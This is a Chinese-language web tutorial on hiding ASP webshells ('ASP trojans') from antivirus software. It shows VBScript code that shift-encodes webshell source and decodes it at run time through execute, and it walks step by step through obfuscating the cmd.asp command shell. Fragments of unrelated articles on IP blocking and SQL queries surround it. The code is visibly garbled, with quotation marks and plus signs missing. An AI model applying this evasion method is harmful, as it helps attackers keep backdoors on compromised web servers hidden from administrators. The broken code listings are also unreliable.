推薦:用ASP封IP的方法,防止固定IP垃圾留言以下為引用的內容: <%Dim IP,IPString,VisitIP'要禁止的IP地址IPString=|195.225.177.34|195.225.177.137|72.232.250.10|&qu
記得當年asp木馬出來的時候號稱永不被殺的木馬,呵呵,時至今日,隨便什麼殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬加殼(呵呵,當然不是用UPX等)。還等什麼?請往下看。
其實這個思路很簡單,就是把asp代碼編碼,執行時再解碼。這裡有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數。
先說說Script Encoder。這個東東可以在微軟官方網站免費下到,而且還附贈詳細使用說明,這裡就不多說了吧。但是經過它加密後的文件會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp文件被加密了。那怎麼解密呢?這裡提供一個解密軟件(》點擊進入下載《)。現在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程序出來加殼。
asp的execute函數是拿來執行字符串的,即是說可以把asp語句寫成字符串,然後用execute來執行。比如這行代碼:execute(response.write(hackerXfiles)),執行後的效果等同於執行response.write(hackerXfiles)。這裡由於execute函數里的東東是字符串,故遇到引號要雙寫。呵呵,既然execute裡是字符串,那麼我們就可以把裡面的東東拿來加密了。
怎麼加密呢?呵呵,就用最簡單的移位法好了。請看代碼:
but=1
cc=replace(nr,vbcrlf,胡)
for i= 1 to len(cc)
if mid(cc,i,1)<>胡then
pk=asc(mid(cc,i,1)) but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk 95
end if
temp=temp&chr(pk)
else
temp=temp&胡
end if
next
temp=replace(temp,,)
response.write(temp)
這段代碼就是asp下的循環移位法。那個變量but就是移位的位數,可修改。呵呵,怎麼叫循環呢?因為程序會比較字符的ascii碼,當大於126或者小於32時就會處理,使范圍在32~126之間。因為這樣可以避免出現windows不能顯示的字符。這也是一開始就把回車換行符替換掉的原因。這裡我自己寫了一個移位加密的asp程序xor.asp附上,希望對你有幫助。
那就讓我們來看看用上面代碼把response.write(hackerXfiles)加密後的結果:sftqpotf/xsjuf)#ibdlfsYgjmft#*,嘿嘿,這回神仙也看不懂了吧^_^
既然加了密,當然要解密啦,看解密代碼:
function UnEncode(temp)
but=1 '這個是移位法所移的位數!注意修改此處與加密時使用的一致
for i =1 to len(temp)
if mid(temp,i,1)<>胡then
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk 95
end if
a=a&chr(pk)
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
呵呵,現在知道怎麼執行了吧,只需調用這個解密函數就是:execute(UnEncode(sftqpotf/xsjuf)#ibdlfsYgjmft#*)),怎麼樣,是不是順利執行了!
在這裡給大家一個示範,好讓大家明白怎麼加密asp木馬。由於海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示範吧!
首先運行我寫的那個xor.asp,然後用記事本打開cmd.asp,將它的asp代碼部分複製到xor.asp的文本框,填好移位參數(這裡我用的1),點轉換,呵呵,結果就出來了。然後新建一個文本文檔,把cmd.asp的內容複製進去,前面那個UnEncode函數內容也添進去(這裡要注意修改UnEncode函數里變量but的值與加密時選的移位參數值一致),然後把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結果賦值。呵呵,然後保存為asp文件就ok啦!這裡就再羅嗦幾句。如果代碼比較長,可以分成幾部分加密,然後多用幾個execute執行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯的代碼如if、end if分到兩個execute裡去了。
看看吧,同樣可以運行!
分享:查詢某個字段沒有值的所有記錄的SQL語句怎麼寫?有時我們需要查詢出某字段沒有值的全部記錄,那應該用rs(xx)=還是IsNull(rs(xx))呢?要得出結論,我們還得從頭說起:什麼情況下字段中會沒有值?因為這和